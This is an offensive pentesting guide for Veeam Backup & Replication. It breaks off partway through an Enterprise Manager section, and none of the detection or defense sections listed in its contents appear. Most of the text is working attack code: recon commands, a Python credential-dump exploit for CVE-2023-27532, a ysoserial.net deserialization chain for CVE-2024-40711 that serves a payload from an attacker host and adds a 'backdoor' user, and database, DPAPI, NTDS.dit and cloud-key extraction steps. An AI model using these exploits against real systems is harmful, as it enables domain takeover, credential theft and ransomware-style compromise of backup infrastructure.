Veeam Backup & Replication Security Testing: CVE-2023-27532, CVE-2024-40711, REST API Credential Exposure

Veeam Backup & Replication is the dominant backup platform in enterprise environments, protecting virtual machines, physical servers, cloud workloads, and NAS. Because backup infrastructure holds privileged credentials to every protected system — domain controllers, databases, cloud accounts — a compromised Veeam server is often a direct path to full domain takeover. This guide covers authorized security testing of Veeam B&R from initial port discovery through REST API exploitation, CVE chaining, database credential extraction, and cloud repository key harvesting.

Table of Contents

  1. Attack Surface Overview
  2. Default Credentials and Initial Access
  3. CVE-2023-27532: Unauthenticated REST API Credential Dump (CVSS 7.5)
  4. CVE-2024-40711: SSRF-to-RCE Deserialization Chain (CVSS 9.8)
  5. REST API Enumeration and Backup Job Analysis
  6. VeeamBackup PostgreSQL Database Attacks
  7. Backup Repository Credential Extraction
  8. Cloud Repository Key Harvesting (S3, Azure, GCS)
  9. vPower NFS Service Attacks (TCP 6162)
  10. Enterprise Manager API Attacks (TCP 9398)
  11. Detection and Threat Hunting
  12. Defense Recommendations

1. Attack Surface Overview

Veeam Backup & Replication exposes a rich set of network services. A typical all-in-one deployment runs the backup server, console, catalog, and repository services on a single Windows Server, while enterprise deployments distribute these across dedicated appliances and proxy servers.

Primary Service Ports

Port / Protocol Service Authentication Pentest Interest
TCP 9419 Veeam REST API (HTTPS) Bearer token / Basic Credential store, job enumeration, CVE-2023-27532
TCP 9420 Veeam Management Console (WCF) Windows auth / Basic CVE-2024-40711 SSRF/RCE chain
TCP 9421 Veeam B&R UI (WinForms remoting) Windows credentials Console access via stolen creds
TCP 9398 Veeam Enterprise Manager REST API Basic / NTLM Centralized credential vault, all-jobs enumeration
TCP 9392 Veeam Enterprise Manager Web UI Basic / AD Credential replay, session fixation
TCP 6162 Veeam vPower NFS Service None (internal) NFS mount for instant VM recovery exploitation
TCP 5432 PostgreSQL (VeeamBackup DB) pg_hba.conf rules Direct credential blob extraction
TCP 2500-3300 Veeam data transfer channels Internal session tokens Traffic interception, job replay

Reconnaissance and Port Discovery

# Nmap service scan targeting Veeam ports
nmap -sV -p 9419,9420,9421,9392,9398,6162,5432,2500-3300 \
     --script "ssl-cert,http-title,banner" \
     -oA veeam_discovery 192.168.1.50

# Identify Veeam server from Active Directory SPN (backup service accounts often registered)
ldapsearch -H ldap://dc01.corp.local -x -b "DC=corp,DC=local" \
  "(servicePrincipalName=*VeeamBackup*)" sAMAccountName servicePrincipalName

# Check for Veeam agent beacons in internal DNS (common naming: veeam-backup, backup01, vbr)
for name in veeam backup01 backup vbr veeam-srv backup-srv; do
    dig +short ${name}.corp.local 2>/dev/null && echo "Found: ${name}.corp.local"
done

# Banner grab on REST API — reveals Veeam version for CVE matching
curl -sk https://192.168.1.50:9419/api/v1/serverInfo | python3 -m json.tool
Warning: Veeam servers are high-value targets in ransomware campaigns specifically because disabling backup infrastructure maximises the attacker's leverage. Authorized assessments should confirm strict scope boundaries and ensure the assessment cannot inadvertently delete or corrupt backup chains.

2. Default Credentials and Initial Access

Veeam does not ship with hardcoded service credentials in recent versions, but its installer creates local Windows accounts, and many organisations deploy it with predictable credentials or leave the PostgreSQL instance using default pg_hba trust authentication on localhost.

Common Default and Weak Credentials

Service Default Account Default Password Notes
Veeam REST API / Console administrator password Local Windows admin; common in lab installs and trial deployments
Veeam B&R Windows service account CORP\svc-veeam Veeam@2023 Frequently set by deployment scripts; check AD password policies
Enterprise Manager Web UI backup backup Default in older VEM deployments pre-v11
PostgreSQL (VeeamBackup) postgres ve3am!pg Veeam-generated password stored in Windows Registry
vPower NFS N/A No auth Accessible to any host on the backup network segment by default

Retrieving the PostgreSQL Password from the Registry

Veeam stores its internal PostgreSQL password in the Windows Registry. If you have code execution on the backup server (via domain admin, CVE exploitation, or physical access to a snapshot), this is the fastest path to database access:

# Read Veeam PostgreSQL password from registry (requires local admin or SYSTEM)
$regPath = "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication"
$pgPass = (Get-ItemProperty -Path $regPath).SqlDatabasePassword
Write-Host "PostgreSQL password: $pgPass"

# Alternatively via reg.exe (for cmd.exe sessions)
reg query "HKLM\SOFTWARE\Veeam\Veeam Backup and Replication" /v SqlDatabasePassword

# Also check for the database connection string in the config file
type "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config" | findstr "connectionString"

Credential Spray Against REST API

# Test authentication against the Veeam REST API
# The API uses Basic auth on /api/oauth2/token to obtain a Bearer token
curl -sk -X POST https://192.168.1.50:9419/api/oauth2/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=administrator&password=password" \
  | python3 -m json.tool

# On success, extract access_token for subsequent requests
ACCESS_TOKEN=$(curl -sk -X POST https://192.168.1.50:9419/api/oauth2/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=administrator&password=password" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

echo "Bearer token: $ACCESS_TOKEN"

3. CVE-2023-27532: Unauthenticated REST API Credential Dump (CVSS 7.5)

CVE-2023-27532 was disclosed by Veeam in March 2023 and affects Veeam Backup & Replication versions prior to 12.0.0.1420 (V12) and 11.0.1.1261 P20230227 (V11). The vulnerability allows an unauthenticated remote attacker to query the /api/v1/credentials endpoint and retrieve all encrypted credentials stored in the Veeam credential manager — including domain accounts, local administrator credentials for every protected host, cloud provider keys, and database passwords.

Critical Impact: In large environments, this single unauthenticated API call can yield hundreds of domain administrator credentials, service account passwords, and cloud access keys — all from a single HTTP request with no prior authentication.

Exploitation

# CVE-2023-27532 — unauthenticated credential enumeration
# Affected: VBR v11 < 11.0.1.1261 P20230227, v12 < 12.0.0.1420

# Step 1: Verify vulnerability — check if /api/v1/credentials is accessible without auth
curl -sk https://192.168.1.50:9419/api/v1/credentials \
  -H "Accept: application/json" \
  | python3 -m json.tool | head -40

# Step 2: Enumerate the full credential store
curl -sk "https://192.168.1.50:9419/api/v1/credentials?limit=1000" \
  -H "Accept: application/json" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
for cred in data.get('data', []):
    print(f\"ID: {cred['id']}\")
    print(f\"  Desc: {cred.get('description','')}\")
    print(f\"  User: {cred.get('username','')}\")
    print(f\"  Type: {cred.get('credentialsType','')}\")
    print()
"

# Step 3: Retrieve individual credential including encrypted password blob
CRED_ID="a1b2c3d4-0000-0000-0000-000000000001"
curl -sk "https://192.168.1.50:9419/api/v1/credentials/${CRED_ID}" \
  -H "Accept: application/json" | python3 -m json.tool

# Step 4: Extract Windows credentials (password is returned in clear for some credential types)
# Linux/SSH key credentials may return the private key directly
curl -sk "https://192.168.1.50:9419/api/v1/credentials?credentialsType=Linux" \
  -H "Accept: application/json" | python3 -m json.tool

Automated Dump Script

#!/usr/bin/env python3
"""
CVE-2023-27532 — Veeam unauthenticated credential dump
For authorized penetration testing only.
"""
import requests
import json
import sys
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.50"
BASE_URL = f"https://{TARGET}:9419"

def dump_credentials():
    url = f"{BASE_URL}/api/v1/credentials"
    params = {"limit": 1000, "offset": 0}

    try:
        r = requests.get(url, params=params, verify=False, timeout=10)
        if r.status_code == 200:
            data = r.json()
            creds = data.get("data", [])
            print(f"[+] CVE-2023-27532 confirmed — {len(creds)} credentials exposed")
            print("-" * 60)
            for c in creds:
                print(f"  ID:       {c.get('id')}")
                print(f"  Username: {c.get('username','')}")
                print(f"  Desc:     {c.get('description','')}")
                print(f"  Type:     {c.get('credentialsType','')}")
                if c.get('password'):
                    print(f"  Password: {c.get('password')}")
                if c.get('privateKey'):
                    print(f"  SSH Key:  {c.get('privateKey')[:80]}...")
                print()
        elif r.status_code == 401:
            print("[-] Authentication required — target is patched or uses auth")
        else:
            print(f"[-] Unexpected status: {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

def dump_server_info():
    r = requests.get(f"{BASE_URL}/api/v1/serverInfo", verify=False, timeout=10)
    if r.status_code == 200:
        info = r.json()
        print(f"[*] Veeam Version: {info.get('vbrVersion','unknown')}")
        print(f"[*] Build:         {info.get('buildVersion','unknown')}")
        print(f"[*] License:       {info.get('productLicense',{}).get('licenseType','unknown')}")

if __name__ == "__main__":
    print(f"[*] Target: {BASE_URL}")
    dump_server_info()
    dump_credentials()
Post-Exploitation: Linux/SSH credentials returned by this API typically include the private key in PEM format. Windows credentials return the username but the password blob requires offline decryption using the DPAPI master key from the backup server's SYSTEM account (see Section 6).

4. CVE-2024-40711: SSRF-to-RCE Deserialization Chain (CVSS 9.8)

CVE-2024-40711, disclosed in September 2024, affects Veeam Backup & Replication versions prior to 12.2. It combines a server-side request forgery (SSRF) vulnerability in the REST API with a .NET deserialization sink in the internal management service listening on TCP 9420. An unauthenticated attacker can trigger the SSRF to reach the internal service, pass a malicious serialized payload, and achieve SYSTEM-level remote code execution on the Veeam backup server.

Vulnerability Chain Overview

  1. The Veeam REST API endpoint /api/v1/import (or similar MetaPost-handling endpoint) on TCP 9419 accepts a URL parameter for metadata import.
  2. The URL is fetched server-side without sufficient scheme or host validation (SSRF).
  3. An attacker-controlled HTTP server serves a response with a malicious .NET BinaryFormatter serialized payload.
  4. The payload is deserialized by the Veeam management service on TCP 9420, which runs as SYSTEM under the Veeam Backup Service account.
  5. The deserialization gadget chain (e.g., ObjectDataProvider → Process.Start) executes arbitrary commands as SYSTEM.

Prerequisites and Setup

# Prerequisites:
# 1. Network access to TCP 9419 (Veeam REST API) on the backup server
# 2. Attacker HTTP server reachable FROM the Veeam server (for SSRF callback)
# 3. ysoserial.net for generating the .NET deserialization payload

# Install ysoserial.net (Windows attack host or Wine)
# https://github.com/pwntester/ysoserial.net

# Step 1: Generate BinaryFormatter payload using ObjectDataProvider gadget chain
# This payload executes: net user backdoor P@ssw0rd123 /add
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter \
  -c "net user backdoor P@ssw0rd123 /add" \
  -o base64 > payload.b64

# Step 2: Create a malicious HTTP server that serves the payload
# Python wrapper to serve the raw binary payload
cat > serve_payload.py << 'EOF'
import http.server
import base64

PAYLOAD_B64 = open("payload.b64").read().strip()
PAYLOAD = base64.b64decode(PAYLOAD_B64)

class PayloadHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        print(f"[+] Request from {self.client_address[0]}: {fmt % args}")

http.server.HTTPServer(("0.0.0.0", 8080), PayloadHandler).serve_forever()
EOF
python3 serve_payload.py &
echo "[*] Payload server running on port 8080"

Triggering the SSRF and RCE

ATTACKER_IP="10.10.10.5"
VEEAM_IP="192.168.1.50"

# Step 3: Trigger the SSRF — the Veeam server will fetch from our payload server
# The exact endpoint and parameter vary by patch level; common variants:
curl -sk -X POST "https://${VEEAM_IP}:9419/api/v1/import" \
  -H "Content-Type: application/json" \
  -d "{\"url\": \"http://${ATTACKER_IP}:8080/payload\"}"

# Alternative — MetaPost SSRF via vCloud Director import endpoint
curl -sk -X POST "https://${VEEAM_IP}:9419/api/v1/vCloudDirectorVdcs" \
  -H "Content-Type: application/json" \
  -d "{\"serverName\": \"${ATTACKER_IP}\", \"port\": 8080, \"protocol\": \"http\"}"

# Step 4: Verify RCE — check if backdoor user was created
# (via SMB or WMI with any existing credentials)
crackmapexec smb ${VEEAM_IP} -u backdoor -p 'P@ssw0rd123'

# Step 5: Elevate to local admin and dump credentials
# The Veeam service runs as LocalSystem — the created user has no privileges yet
# Add to local Administrators group with a second payload:
# "net localgroup administrators backdoor /add"
CVSS 9.8: CVE-2024-40711 is classified as Critical because it requires no authentication, no user interaction, and grants SYSTEM-level code execution on the backup server — a machine that holds privileged credentials for every host it protects. Exploitation was observed in ransomware campaigns within weeks of public disclosure.

5. REST API Enumeration and Backup Job Analysis

With a valid bearer token (obtained via default credentials, credential spray, or post-exploitation on a domain account that has Veeam Backup Operator or higher), the REST API on TCP 9419 exposes the complete backup infrastructure configuration.

Authentication and Token Acquisition

VEEAM="192.168.1.50"

# Authenticate — replace credentials as appropriate
TOKEN=$(curl -sk -X POST "https://${VEEAM}:9419/api/oauth2/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=administrator&password=Veeam2024!" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])" 2>/dev/null)

[[ -z "$TOKEN" ]] && echo "[-] Auth failed" || echo "[+] Token obtained"
AUTH="Authorization: Bearer $TOKEN"

Backup Job Enumeration

# List all backup jobs — reveals what's being protected and by whom
curl -sk "https://${VEEAM}:9419/api/v1/jobs" \
  -H "$AUTH" -H "Accept: application/json" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
for job in data.get('data', []):
    print(f\"Job: {job['name']}\")
    print(f\"  Type:   {job.get('type')}\")
    print(f\"  Status: {job.get('lastResult')}\")
    print(f\"  Repo:   {job.get('storage',{}).get('backupRepositoryId')}\")
    print()
"

# Enumerate all backup repositories — file paths reveal storage locations
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/repositories" \
  -H "$AUTH" -H "Accept: application/json" | python3 -m json.tool

# List managed servers — the complete inventory of protected infrastructure
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/managedServers" \
  -H "$AUTH" -H "Accept: application/json" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
for srv in data.get('data', []):
    print(f\"Server: {srv.get('name')} ({srv.get('type')})\")
    print(f\"  Credential: {srv.get('credentialsId')}\")
"

# Dump all stored credentials (requires Veeam Backup Administrator role)
curl -sk "https://${VEEAM}:9419/api/v1/credentials" \
  -H "$AUTH" -H "Accept: application/json" | python3 -m json.tool

# Retrieve cloud credentials (S3, Azure, GCS)
curl -sk "https://${VEEAM}:9419/api/v1/cloudCredentials" \
  -H "$AUTH" -H "Accept: application/json" | python3 -m json.tool

Extracting Specific Credential Details

# Get details for a specific credential ID
CRED_ID="a1b2c3d4-1111-2222-3333-444444444444"
curl -sk "https://${VEEAM}:9419/api/v1/credentials/${CRED_ID}" \
  -H "$AUTH" -H "Accept: application/json" | python3 -m json.tool

# Enumerate all proxy servers — these hold credentials for hypervisor access
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/proxies" \
  -H "$AUTH" -H "Accept: application/json" | python3 -m json.tool

# Retrieve vCenter / ESXi server registrations
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/vmwareServers" \
  -H "$AUTH" -H "Accept: application/json" | python3 -m json.tool

# List tape libraries
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/tapeServers" \
  -H "$AUTH" -H "Accept: application/json" | python3 -m json.tool

6. VeeamBackup PostgreSQL Database Attacks

Veeam stores its configuration, job definitions, and encrypted credential blobs in a PostgreSQL database named VeeamBackup. A secondary database VeeamBackupCatalogues holds the backup file catalog. With access to the database (via Registry-extracted password, network access from a compromised host, or code execution on the Veeam server), an attacker can extract every credential stored in Veeam.

Connecting to the Veeam PostgreSQL Instance

# Connect from the Veeam server itself (PostgreSQL typically bound to 127.0.0.1)
# Password retrieved from Registry as shown in Section 2
psql -h 127.0.0.1 -p 5432 -U postgres -d VeeamBackup

# From a remote host (if pg_hba.conf allows remote connections — rare but misconfigured)
psql -h 192.168.1.50 -p 5432 -U postgres -d VeeamBackup

# List available Veeam databases
psql -h 127.0.0.1 -U postgres -c "\l" | grep -i veeam

Key Tables and Credential Blobs

-- Connect to VeeamBackup database
\c VeeamBackup

-- List all tables
\dt

-- Key table: [Credentials] — stores all Veeam credential objects
SELECT id, name, user_name, description, type FROM "Credentials";

-- Retrieve encrypted password blobs — encrypted with Windows DPAPI (SYSTEM context)
SELECT id, user_name, encrypted_password, encrypted_private_key
FROM "Credentials"
ORDER BY name;

-- VCenter / ESXi server registrations with associated credential IDs
SELECT name, host_name, credentials_id, platform_type
FROM "BackupJobVirtualMachineServer";

-- Repository configurations including UNC paths, credentials
SELECT name, friendly_name, path, host_id, credentials_id, type
FROM "BackupRepository";

-- Cloud repository configurations
SELECT name, type, credentials_id, service_endpoint, bucket_name
FROM "CloudRepository";

-- Tape library configurations
SELECT name, host_id, credentials_id
FROM "TapeServer";

-- Backup job definitions — extract source/target mapping
SELECT name, description, job_type, credentials_id, last_result
FROM "Job"
ORDER BY last_result DESC;

-- Application-aware processing credentials (SQL Server, Oracle, Exchange)
SELECT j.name as job_name, cred.user_name, cred.encrypted_password
FROM "Job" j
JOIN "Credentials" cred ON cred.id = j.credentials_id
WHERE cred.type IN ('Windows', 'Linux');

Decrypting DPAPI-Protected Credential Blobs

The encrypted password blobs in the Credentials table are protected using Windows DPAPI with the SYSTEM account's master key. Decryption requires either running code as SYSTEM on the Veeam server, or extracting and cracking the DPAPI master key offline using Mimikatz or impacket.

# On the Veeam server (as SYSTEM or local admin) — decrypt via DPAPI
# First, extract the blob from the database
$query = "SELECT encrypted_password FROM [Credentials] WHERE user_name = 'CORP\svc-sql'"
$connStr = "Server=localhost;Database=VeeamBackup;Integrated Security=true"
$conn = New-Object System.Data.SqlClient.SqlConnection($connStr)
# (For PostgreSQL, use Npgsql or psql and copy the hex blob)

# Decrypt using DPAPI
$blobHex = "01000000D08C9DDF0115D1118C7A00C04FC297EB..."
$blob = [System.Convert]::FromHexString($blobHex)
$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect(
    $blob, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$password = [System.Text.Encoding]::Unicode.GetString($decrypted)
Write-Host "Decrypted: $password"
# Offline DPAPI decryption with impacket (from a Linux attack host)
# Requires: SYSTEM hive, SECURITY hive, and the DPAPI masterkey files
# Extract hives from Veeam server (requires admin/SYSTEM shell)
reg save HKLM\SYSTEM C:\tmp\SYSTEM.hive
reg save HKLM\SECURITY C:\tmp\SECURITY.hive

# Copy hives and DPAPI masterkeys to attack host
# User masterkeys: C:\Users\\AppData\Roaming\Microsoft\Protect\\
# SYSTEM masterkeys: C:\Windows\System32\Microsoft\Protect\S-1-5-18\

# Decrypt with impacket dpapi module
python3 /opt/impacket/examples/dpapi.py masterkey \
  -file /tmp/masterkey_file \
  -system /tmp/SYSTEM.hive \
  -security /tmp/SECURITY.hive

python3 /opt/impacket/examples/dpapi.py credential \
  -file /tmp/veeam_cred_blob.bin \
  -key 

VeeamBackupCatalogues Database

-- Switch to catalog database — reveals backup file locations and VM inventory
\c VeeamBackupCatalogues

-- Enumerate all backed-up VMs and their last backup paths
SELECT vm_name, last_backup_time, backup_server_name, storage_path
FROM "CatalogVm"
ORDER BY last_backup_time DESC
LIMIT 50;

-- Find backup files containing domain controllers (high-value targets)
SELECT vm_name, storage_path, last_backup_time
FROM "CatalogVm"
WHERE vm_name ILIKE '%DC%' OR vm_name ILIKE '%domain%' OR vm_name ILIKE '%PDC%';

7. Backup Repository Credential Extraction

Backup repositories are the storage locations where Veeam writes backup files. CIFS/SMB repositories require domain or local credentials stored in the Veeam credential manager. Extracting these credentials gives direct access to potentially petabytes of backup data, including VMs, databases, and file shares.

Enumerating Repository Configurations

# Via REST API — list repositories with credential associations
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/repositories" \
  -H "$AUTH" -H "Accept: application/json" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
for repo in data.get('data', []):
    print(f\"Repository: {repo['name']}\")
    print(f\"  Type:        {repo.get('type')}\")
    print(f\"  Path:        {repo.get('path','')}\")
    print(f\"  Host:        {repo.get('hostId','')}\")
    print(f\"  Credential:  {repo.get('credentialsId','')}\")
    print(f\"  Capacity:    {repo.get('capacityGB','?')} GB\")
    print()
"

# Get the credential details for a specific repository
REPO_CRED_ID="bbbbbbbb-0000-0000-0000-000000000002"
curl -sk "https://${VEEAM}:9419/api/v1/credentials/${REPO_CRED_ID}" \
  -H "$AUTH" -H "Accept: application/json"

Direct Access to CIFS Backup Repositories

# Once credentials are extracted, mount the CIFS share directly
# SMB repository shares typically contain .vbk (full backup) and .vib (incremental) files
REPO_SHARE="\\\\backup-nas.corp.local\\veeam-backups"
REPO_USER="CORP\\svc-veeam-repo"
REPO_PASS="ExtractedPassword123!"

# Linux mount
mount -t cifs "${REPO_SHARE}" /mnt/veeam \
  -o username="${REPO_USER}",password="${REPO_PASS}",domain=CORP

# List backup files by age
find /mnt/veeam -name "*.vbk" -o -name "*.vib" | xargs ls -lth | head -20

# Extract VM disk from VBK backup file using Veeam Explorer tools
# or use the open-source veeam-reader / veeam-bruteforcer tools
# vbk files can also be mounted as NFS via Veeam's instant VM recovery mechanism

Extracting NTDS.dit from a DC Backup

# High-value post-exploitation: extract domain credentials from a DC backup
# Identify the domain controller backup
ls /mnt/veeam/ | grep -i "DC\|PDC\|ADDS\|domain"

# Veeam .vbk/.vib files are essentially zip archives containing VMDK/VHD disks
# Use 7zip to list contents
7z l "/mnt/veeam/DC01_Backup_20260701/DC01D20260701.vbk"

# Mount the VMDK from the backup using libguestfs
virt-ls -a "/mnt/veeam/DC01_Backup_20260701/disk1.vmdk" /Windows/NTDS/

# Copy NTDS.dit and SYSTEM hive for offline cracking
virt-copy-out -a "/mnt/veeam/DC01_Backup_20260701/disk1.vmdk" \
  /Windows/NTDS/ntds.dit /tmp/ntds.dit
virt-copy-out -a "/mnt/veeam/DC01_Backup_20260701/disk1.vmdk" \
  /Windows/System32/config/SYSTEM /tmp/SYSTEM

# Extract NTLM hashes with impacket secretsdump
python3 /opt/impacket/examples/secretsdump.py \
  -ntds /tmp/ntds.dit -system /tmp/SYSTEM LOCAL

8. Cloud Repository Key Harvesting (S3, Azure, GCS)

Many organisations use Veeam to back up directly to cloud object storage — Amazon S3 (including S3-compatible), Azure Blob, and Google Cloud Storage. Veeam stores the corresponding cloud credentials (IAM access keys, SAS tokens, service account keys) in its credential manager. These represent the highest-privilege access credentials in the cloud environment if the backup role was over-provisioned.

Cloud Credential Extraction via REST API

# Enumerate cloud credentials specifically
curl -sk "https://${VEEAM}:9419/api/v1/cloudCredentials" \
  -H "$AUTH" -H "Accept: application/json" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
for cred in data.get('data', []):
    print(f\"Cloud Credential: {cred['name']}\")
    print(f\"  Provider:    {cred.get('cloudProvider','')}\")
    print(f\"  Account:     {cred.get('accountId','')}\")
    if cred.get('accessKey'):
        print(f\"  Access Key:  {cred.get('accessKey')}\")
    if cred.get('secretKey'):
        print(f\"  Secret Key:  {cred.get('secretKey')}\")
    if cred.get('sasToken'):
        print(f\"  SAS Token:   {cred.get('sasToken')[:80]}...\")
    print()
"

Amazon S3 Credential Validation and Exploitation

# Validate extracted AWS keys
AWS_ACCESS_KEY="AKIA1234567890ABCDEF"
AWS_SECRET_KEY="ExtractedSecretKey+abc123/xyz789"

export AWS_ACCESS_KEY_ID="${AWS_ACCESS_KEY}"
export AWS_SECRET_ACCESS_KEY="${AWS_SECRET_KEY}"

# Identify the IAM principal
aws sts get-caller-identity

# Enumerate S3 buckets accessible with backup credentials
aws s3 ls

# List the Veeam backup bucket contents
aws s3 ls s3://corp-veeam-backups/ --recursive | head -30

# Check IAM permissions — backup roles often have overly broad access
aws iam get-user
aws iam list-attached-user-policies --user-name veeam-backup-user
aws iam simulate-principal-policy \
  --policy-source-arn "arn:aws:iam::123456789012:user/veeam-backup-user" \
  --action-names "s3:*" "ec2:*" "iam:*" \
  --resource-arns "*" \
  --query "EvaluationResults[?EvalDecision=='allowed'].EvalActionName"

Azure Blob SAS Token and Service Principal Exploitation

# Validate an extracted Azure SAS token
STORAGE_ACCOUNT="corpveeambackups"
SAS_TOKEN="sv=2023-08-03&ss=b&srt=sco&sp=rwdlacupiytfx&se=2027-01-01T00:00:00Z&..."

# List containers using SAS token
az storage container list \
  --account-name "${STORAGE_ACCOUNT}" \
  --sas-token "${SAS_TOKEN}" \
  --output table

# List backup blobs in container
az storage blob list \
  --container-name "veeam-backups" \
  --account-name "${STORAGE_ACCOUNT}" \
  --sas-token "${SAS_TOKEN}" \
  --output table | head -20

# If service principal credentials were extracted instead of SAS token
APP_ID="00000000-0000-0000-0000-000000000000"
APP_SECRET="ExtractedClientSecret~abc123"
TENANT_ID="11111111-0000-0000-0000-000000000000"

az login --service-principal -u "${APP_ID}" -p "${APP_SECRET}" --tenant "${TENANT_ID}"
az account list  # Enumerate accessible subscriptions

Google Cloud Service Account Key Exploitation

# Veeam stores GCS service account keys as JSON in the credential store
# Extract the JSON key from the database or API response
SA_KEY_JSON='{"type":"service_account","project_id":"corp-prod","private_key_id":"abc123",...}'

echo "${SA_KEY_JSON}" > /tmp/veeam-sa-key.json
gcloud auth activate-service-account --key-file=/tmp/veeam-sa-key.json

# Identify the service account and its project
gcloud config get-value account
gcloud projects list

# List GCS buckets the backup SA can access
gsutil ls

# Enumerate IAM permissions
gcloud projects get-iam-policy corp-prod \
  --filter="bindings.members:serviceAccount:veeam@corp-prod.iam.gserviceaccount.com" \
  --format="table(bindings.role)"

Tape Library Credential Extraction

# Tape server and media pool credentials
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/tapeServers" \
  -H "$AUTH" -H "Accept: application/json" | python3 -m json.tool

# Tape servers typically authenticate using Windows credentials of the server
# running the Veeam Tape Service (local admin required)
# Extract via SQL query for full config:
psql -U postgres -d VeeamBackup -c "
  SELECT ts.name, ts.host_id, c.user_name, c.encrypted_password
  FROM \"TapeServer\" ts
  JOIN \"Credentials\" c ON c.id = ts.credentials_id;
"

9. vPower NFS Service Attacks (TCP 6162)

Veeam's vPower NFS service allows instant VM recovery by presenting backup files as NFS exports to VMware ESXi hosts. The service listens on TCP 6162 and is typically accessible without authentication from the internal backup network segment. An attacker with network access to this port can enumerate available NFS exports, mount backup disk images directly, and extract data — including secrets from running VM memory snapshots.

NFS Export Enumeration and Mounting

VEEAM_IP="192.168.1.50"

# Step 1: Enumerate NFS exports from vPower service
showmount -e ${VEEAM_IP}
# Expected output:
# Export list for 192.168.1.50:
# /VeeamFLR/a1b2c3d4-e5f6-...  *
# /VeeamFLR/b2c3d4e5-f6a1-...  *

# Step 2: Mount an exported backup volume
mkdir -p /mnt/veeam-nfs
mount -t nfs ${VEEAM_IP}:/VeeamFLR/a1b2c3d4-e5f6-7890-abcd-ef1234567890 \
  /mnt/veeam-nfs -o nolock,vers=3

# Step 3: Explore the mounted VM filesystem
ls /mnt/veeam-nfs/
find /mnt/veeam-nfs -name "*.vmdk" -o -name "*.vhd" 2>/dev/null

# Step 4: Mount the VMDK for file-level access
# Using nbdkit + qemu-nbd for direct VMDK mounting
modprobe nbd max_part=8
qemu-nbd -c /dev/nbd0 /mnt/veeam-nfs/DC01/DC01.vmdk
fdisk -l /dev/nbd0

# Mount the Windows partition
mkdir -p /mnt/vm-disk
mount /dev/nbd0p2 /mnt/vm-disk -o ro

# Browse the restored filesystem
ls /mnt/vm-disk/Windows/NTDS/      # Domain controller NTDS database
ls /mnt/vm-disk/Windows/System32/config/  # SAM, SYSTEM, SECURITY hives
ls /mnt/vm-disk/Users/Administrator/  # Administrator profile and credentials
Note: vPower NFS exports are created on-demand during instant VM recovery operations and are normally short-lived. However, some organisations leave instant recovery sessions active for extended periods — and Veeam's SureBackup verification also creates persistent NFS mounts. Check for active sessions via the REST API: GET /api/v1/instantRecovery.

10. Enterprise Manager API Attacks (TCP 9398)

Veeam Enterprise Manager (VEM) is the centralised management plane that aggregates multiple Veeam Backup & Replication servers under a single console and REST API on TCP 9398. It maintains a credential vault that federates credentials from all connected backup servers, making it a single point of compromise for the entire backup infrastructure.

Enterprise Manager REST API Authentication

VEM_IP="192.168.1.51"

# Enterprise Manager uses Basic auth on /api/sessionMngr/?v=latest
# The API version differs from the main Veeam B&R REST API
SESSION=$(curl -sk -X POST "https://${VEM_IP}:9398/api/sessionMngr/?v=latest" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -u "administrator:Veeam2024!" \
  -d "" | python3 -c "
import sys
from xml.etree import ElementTree
root = ElementTree.fromstring(sys.stdin.read())
ns = {'v': 'http://www.veeam.com/ent/v1.0'}
token = root.find('.//v:X-RestSvcSessionId', ns)
print(token.text if token is not None else '')
" 2>/dev/null)

echo "[*] VEM Session ID: ${SESSION}"
VEM_AUTH="X-RestSvcSessionId: ${SESSION}"

Centralized Credential Vault Enumeration

# List all managed Veeam B&R servers
curl -sk "https://${VEM_IP}:9398/api/backupServers" \
  -H "${VEM_AUTH}" -H "Accept: application/json" | python3 -m json.tool

# Enumerate credentials across ALL connected backup servers
curl -sk "https://${VEM_IP}:9398/api/credentials" \
  -H "${VEM_AUTH}" -H "Accept: application/json" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
creds = data.get('Refs', data.get('data', []))
print(f'[+] Total credentials in Enterprise Manager vault: {len(creds)}')
for c in creds:
    print(f\"  {c.get('Name','?')} — {c.get('Href','')}\")
"

# Retrieve VMs inventory from all connected backup servers
curl -sk "https://${VEM_IP}:9398/api/vms" \
  -H "${VEM_AUTH}" -H "Accept: application/json" | python3 -m json.tool

# Request file-level restore access — generates an NFS token for direct file access
curl -sk -X POST "https://${VEM_IP}:9398/api/vmRestorePoints/RESTORE_POINT_ID/flrAccess" \
  -H "${VEM_AUTH}" -H "Content-Type: application/json" \
  -d '{"UserName":"administrator","Password":"Veeam2024!"}' | python3 -m json.tool

Password Reset via Enterprise Manager (VEM Password Recovery)

A particularly dangerous VEM feature allows a Veeam Backup Administrator to request decryption of credentials stored in encrypted backups. If VEM is configured to allow password-loss protection, an attacker with VEM admin access can decrypt any backup file regardless of the original encryption password:

# Request encryption key for a password-protected backup (VEM password loss protection)
# This requires VEM admin role — but grants access to all encrypted backups
